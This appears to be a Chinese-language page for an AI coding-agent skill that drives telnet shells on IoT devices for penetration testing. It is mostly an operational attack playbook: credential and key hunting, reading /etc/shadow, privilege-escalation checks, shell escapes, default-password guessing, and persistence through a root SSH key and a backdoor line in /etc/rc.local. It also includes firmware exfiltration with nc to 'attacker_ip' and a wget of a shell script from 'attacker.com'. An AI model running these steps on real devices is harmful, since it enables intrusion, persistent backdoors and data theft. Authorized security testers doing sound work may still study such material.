IoTTelnetShellSkill telnetshell

这个技能允许通过telnet与IoT设备的shell进行交互,用于安全测试和渗透测试操作,包括设备枚举、漏洞发现、凭证测试和后期利用活动。

渗透测试 1 次安装 6 次浏览 更新于 3/2/2026

以下是IoT Telnet Shell (telnetshell)技能的中文翻译:

这个技能使得与通过telnet可访问的IoT设备shell进行交互成为可能,用于安全测试和渗透测试操作。它支持未经身份验证的shell、弱身份验证测试、设备枚举和后期利用活动。

前提条件

  • Python 3带有pexpect库(pip install pexpectsudo pacman -S python-pexpect
  • 系统上安装了telnet客户端(在Arch上sudo pacman -S inetutils
  • 网络可以访问目标设备的telnet端口

推荐方法:Telnet Helper Script

重要:这个技能包括一个Python辅助脚本(telnet_helper.py),它为telnet通信提供了一个清晰、可靠的接口。这是与IoT设备交互的推荐方法

默认会话日志记录

所有由Claude运行的命令默认会被记录到/tmp/telnet_session.log

要实时观察Claude在做什么:

# 在另一个终端运行:
tail -f /tmp/telnet_session.log

这允许你在不干扰连接的情况下实时观看所有的telnet I/O。

为什么要使用Telnet Helper?

辅助脚本解决了直接使用telnet的许多问题:

  • 清晰的输出:自动移除命令回显、提示符和ANSI代码
  • 提示符检测:自动检测并等待设备提示符
  • 超时处理:适当的超时管理,没有任意的休眠
  • 易于脚本化:简单的命令行界面,用于单个命令或批量操作
  • 会话日志记录:所有I/O记录到/tmp/telnet_session.log以供观察
  • 可靠:没有与TTY要求或后台进程相关的问题
  • JSON输出:用于程序解析和工具链

使用Telnet Helper快速开始

单个命令:

python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a"

自定义端口:

python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --command "ls /"

自定义提示符(建议用于已知设备):

python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --prompt "^/ [#\$]" --command "ifconfig"

交互模式:

python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --interactive

从文件批量命令:

# 创建一个包含命令的文件(每行一个命令)
echo -e "uname -a
cat /proc/version
ifconfig
ps" > commands.txt
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --script commands.txt

JSON输出(用于解析):

python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a" --json

调试模式:

python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "ls" --debug

会话日志记录(用于观察):

# 终端1 - 运行时记录日志
python3 .claude/skills/telnetshell/telnet_helper.py \
  --host 192.168.1.100 \
  --port 2222 \
  --logfile /tmp/session.log \
  --interactive

# 终端2 - 实时观看会话
tail -f /tmp/session.log

注意:查看OBSERVING_SESSIONS.md以获得有关监视telnet会话的全面指南。

Telnet Helper选项

必需(以下之一):
  --command, -c CMD         执行单个命令
  --interactive, -i         进入交互模式
  --script, -s FILE         从文件执行命令

连接选项:
  --host, -H HOST           目标主机IP或主机名(必需)
  --port, -P PORT           telnet端口(默认:23)
  --timeout, -t SECONDS     命令超时(默认:3.0)
  --prompt, -p PATTERN      自定义提示符正则表达式模式

输出选项:
  --raw, -r                 不清理输出(显示回显、提示符)
  --json, -j                以JSON格式输出
  --logfile, -l FILE        将所有I/O记录到文件(默认:/tmp/telnet_session.log)
  --debug                  显示调试信息

常见提示符模式

辅助脚本包括常见的提示符模式,但您可以指定自定义的:

# BusyBox shell(IoT上常见)
--prompt "/\s*[#\$]\s*$"

# 标准root/user提示符
--prompt "^[#\$]\s*$"

# 自定义设备
--prompt "^MyDevice>\s*$"

# Uniview摄像头
--prompt "^User@[^>]+>\s*$"

使用Telnet Helper进行设备枚举示例

这里有一个安全枚举设备的完整示例:

# 设置变量以方便使用
HELPER="python3 .claude/skills/telnetshell/telnet_helper.py"
HOST="192.168.1.100"
PORT="2222"
LOGFILE="/tmp/telnet_session.log"

# 系统信息
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "uname -a"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/version"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/cpuinfo"

# 检查BusyBox
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "busybox"

# 网络配置
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "ifconfig"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "route -n"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "netstat -tulpn"

# 进程列表(可能需要更长的超时时间)
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --timeout 5 --command "ps aux"

# 文件系统探索
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "ls -la /"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "mount"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "df -h"

# 安全评估
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /etc/passwd"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "find / -perm -4000 2>/dev/null"

对于CLAUDE代码很重要:使用这个技能时,总是包含--logfile /tmp/telnet_session.log在每个命令中,以便用户可以使用tail -f /tmp/telnet_session.log监控活动。

指令

1. 连接设置

默认连接:

  • 端口:23(标准telnet,用--port覆盖)
  • 超时:3秒(用--timeout覆盖)
  • 日志记录:默认/tmp/telnet_session.log

IoT设备上常见的telnet端口:

  • 23:标准telnet端口
  • 2222:备用telnet端口(摄像头上常见)
  • 8023:备用telnet端口
  • 自定义端口:检查设备文档或nmap扫描结果

2. BusyBox Shells(大多数IoT设备)

重要:绝大多数IoT设备使用BusyBox,这是一个为嵌入式系统设计的轻量级Unix工具套件。BusyBox提供了一个最小化的shell环境,命令功能有限。

识别BusyBox:

# 检查你正在使用的shell
busybox
busybox --help

# 或检查符号链接
ls -la /bin/sh
# 通常显示:/bin/sh -> /bin/busybox

# 列出可用的BusyBox小程序
busybox --list

BusyBox限制:

  • 许多标准Linux命令可能是简化版本
  • 一些常见的标志/选项可能不可用
  • 像tab补全这样的特性可能有限或缺失
  • 一些在完整Linux上有效的利用技术可能不适用

BusyBox常用的命令:

# 核心实用程序(通常可用)
cat, ls, cd, pwd, echo, cp, mv, rm, mkdir, chmod, chown
ps, kill, top, free, df, mount, umount
grep, find, sed, awk (有限版本)
ifconfig, route, ping, netstat, telnet
vi (基本文本编辑器 - 没有语法高亮)

# 检查可用性
busybox --list | sort
ls /bin /sbin /usr/bin /usr/sbin

针对渗透测试的BusyBox特定考虑:

  • ps输出格式可能与标准Linux不同
  • 一些提权技术需要BusyBox中没有的命令
  • 文件权限仍然相同(SUID、粘滞位等)
  • 网络工具通常存在(telnet, wget, nc/netcat, ftpget)
  • Python/Perl/Ruby通常不可用(设备存储限制)

BusyBox用于枚举的有用命令:

# 检查BusyBox版本(可能存在已知漏洞)
busybox | head -1

# 网络实用程序通常可用
nc -l -p 4444  # Netcat监听器
wget http://attacker.com/shell.sh
ftpget server file
telnet 192.168.1.1

# httpd(web服务器)通常包括在内
busybox httpd -p 8080 -h /tmp  # 快速文件共享

3. 设备枚举

一旦你有了shell访问权限,收集以下信息:

系统信息:

# 内核和系统信息
uname -a
cat /proc/version
cat /proc/cpuinfo
cat /proc/meminfo

# 分发/固件信息
cat /etc/issue
cat /etc/*release*
cat /etc/*version*

# 主机名和网络
hostname
cat /etc/hostname
ifconfig -a
cat /etc/network/interfaces
cat /etc/resolv.conf

# 挂载的文件系统
mount
cat /proc/mounts
df -h

# 运行中的进程
ps aux
ps -ef
top -b -n 1

用户和权限信息:

# 当前用户上下文
id
whoami
groups

# 用户账户
cat /etc/passwd
cat /etc/shadow  # 如果可读 - 重大安全问题!
cat /etc/group

# Sudo/权限信息
sudo -l
cat /etc/sudoers

网络服务:

# 监听服务
netstat -tulpn
lsof -i

# 防火墙规则
iptables -L -n -v
cat /etc/iptables/*

有趣文件和目录:

# 配置文件
ls -la /etc/
find /etc/ -type f -readable

# Web服务器配置
ls -la /etc/nginx/
ls -la /etc/apache2/
ls -la /var/www/

# 凭证和密钥
find / -name "*.pem" 2>/dev/null
find / -name "*.key" 2>/dev/null
find / -name "*password*" 2>/dev/null
find / -name "*credential*" 2>/dev/null
grep -r "password" /etc/ 2>/dev/null

# SUID/SGID二进制文件(提权向量)
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# 世界可写文件/目录
find / -perm -2 -type f 2>/dev/null
find / -perm -2 -type d 2>/dev/null

# 开发/调试工具
which gdb gcc python perl ruby tcpdump
ls /usr/bin/ /bin/ /sbin/ /usr/sbin/

4. 提权(如果不是root)

检查常见漏洞:

# 内核漏洞
uname -r  # 检查内核版本以查找已知漏洞

# 检查可利用的服务
ps aux | grep root

# 可写的服务文件
find /etc/init.d/ -writable 2>/dev/null

# 定时任务
crontab -l
ls -la /etc/cron*
cat /etc/crontab

5. 持久性和进一步访问

建立额外的访问方法:

# 添加SSH访问(如果SSH可用)
mkdir -p /root/.ssh
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh

# 启动SSH服务(如果不运行)
/etc/init.d/ssh start
# 或
/etc/init.d/sshd start
# 或
/etc/init.d/dropbear start  # 嵌入式设备上常见

# 添加到启动脚本
echo "/path/to/backdoor &" >> /etc/rc.local

6. 固件提取

离线分析提取固件:

# 查找MTD分区(嵌入式设备上常见)
cat /proc/mtd
cat /proc/partitions

# 转储闪存分区
dd if=/dev/mtd0 of=/tmp/bootloader.bin
dd if=/dev/mtd1 of=/tmp/kernel.bin
dd if=/dev/mtd2 of=/tmp/rootfs.bin

# 复制到外部存储或网络
# 如果网络可用:
nc attacker_ip 4444 < /tmp/rootfs.bin

# 如果HTTP服务器可用:
cd /tmp
busybox httpd -p 8000
# 然后从http://device_ip:8000/rootfs.bin下载

常见IoT设备场景

场景1:无身份验证Shell

# 连接 - 直接掉到root shell
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --interactive
# 枚举和利用

场景2:自定义端口无身份验证Shell

# 许多IoT摄像头使用端口2222
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --interactive

场景3:受密码保护的Shell

# 如果遇到密码提示,助手将检测到它
# 尝试默认凭据:
# - root/root
# - admin/admin
# - root/(空)
# 在线搜索设备特定的默认值

场景4:有限Shell Escape

# 如果你得到一个有限的shell:
# 尝试常见的逃逸技术:
echo $SHELL
/bin/sh
/bin/bash
vi  # 然后 :!/bin/sh
less /etc/passwd  # 然后 !/bin/sh
find / -exec /bin/sh \;
awk 'BEGIN {system("/bin/sh")}'

安全测试清单

  • [ ] 确定设备和固件版本
  • [ ] 检查未经身份验证的访问
  • [ ] 测试默认/弱凭据
  • [ ] 枚举网络服务和开放端口
  • [ ] 检查文件中的硬编码凭据
  • [ ] 测试命令注入漏洞
  • [ ] 检查文件权限(SUID、世界可写)
  • [ ] 检查已知CVE的过时软件
  • [ ] 测试提权向量
  • [ ] 提取固件进行离线分析
  • [ ] 用屏幕截图/日志记录所有发现

最佳实践

  1. 总是记录你的会话:默认日志文件是/tmp/telnet_session.log
  2. 记录一切:记下命令、响应和发现
  3. 使用批处理脚本:为常见任务创建枚举脚本
  4. 研究设备:查找已知漏洞、默认凭据和常见问题
  5. 使用适当的授权:只对你拥有或有明确测试权限的设备进行渗透测试
  6. 小心使用破坏性命令:避免可能使设备变砖或损坏数据的命令
  7. 监控你的会话:在另一个终端使用tail -f观看活动

故障排除

问题:连接被拒绝

  • 解决方案:检查telnet服务是否运行,验证端口号,检查防火墙规则

问题:连接超时

  • 解决方案:验证网络连接,检查设备是否通电,验证IP地址

问题:“权限被拒绝”

  • 解决方案:telnet服务可能需要身份验证,尝试默认凭据

问题:命令不回显

  • 解决方案:使用--raw标志查看未过滤的输出

问题:输出混乱或错误的提示符检测

  • 解决方案:使用--prompt标志和适用于您特定设备的自定义正则表达式模式

预构建枚举脚本

该技能包括常见任务的预构建枚举脚本:

  • enum_system.txt:系统信息收集
  • enum_network.txt:网络配置枚举
  • enum_files.txt:文件系统探索
  • enum_security.txt:以安全为重点的枚举

用法:

python3 .claude/skills/telnetshell/telnet_helper.py \
  --host 192.168.1.100 \
  --port 2222 \
  --script .claude/skills/telnetshell/enum_system.txt

示例用法

# 连接到标准telnet端口的基本连接
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a"

# 连接到自定义端口(IoT摄像头常见)
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --command "ls /"

# 交互会话与日志记录
python3 .claude/skills/telnetshell/telnet_helper.py \
  --host 192.168.1.100 \
  --port 2222 \
  --logfile /tmp/camera_session.log \
  --interactive

# 批量枚举
python3 .claude/skills/telnetshell/telnet_helper.py \
  --host 192.168.1.100 \
  --port 2222 \
  --script enum_system.txt \
  --json > results.json

# 自定义超时的长时间运行命令
python3 .claude/skills/telnetshell/telnet_helper.py \
  --host 192.168.1.100 \
  --timeout 10 \
  --command "find / -name '*.conf'"

参考资料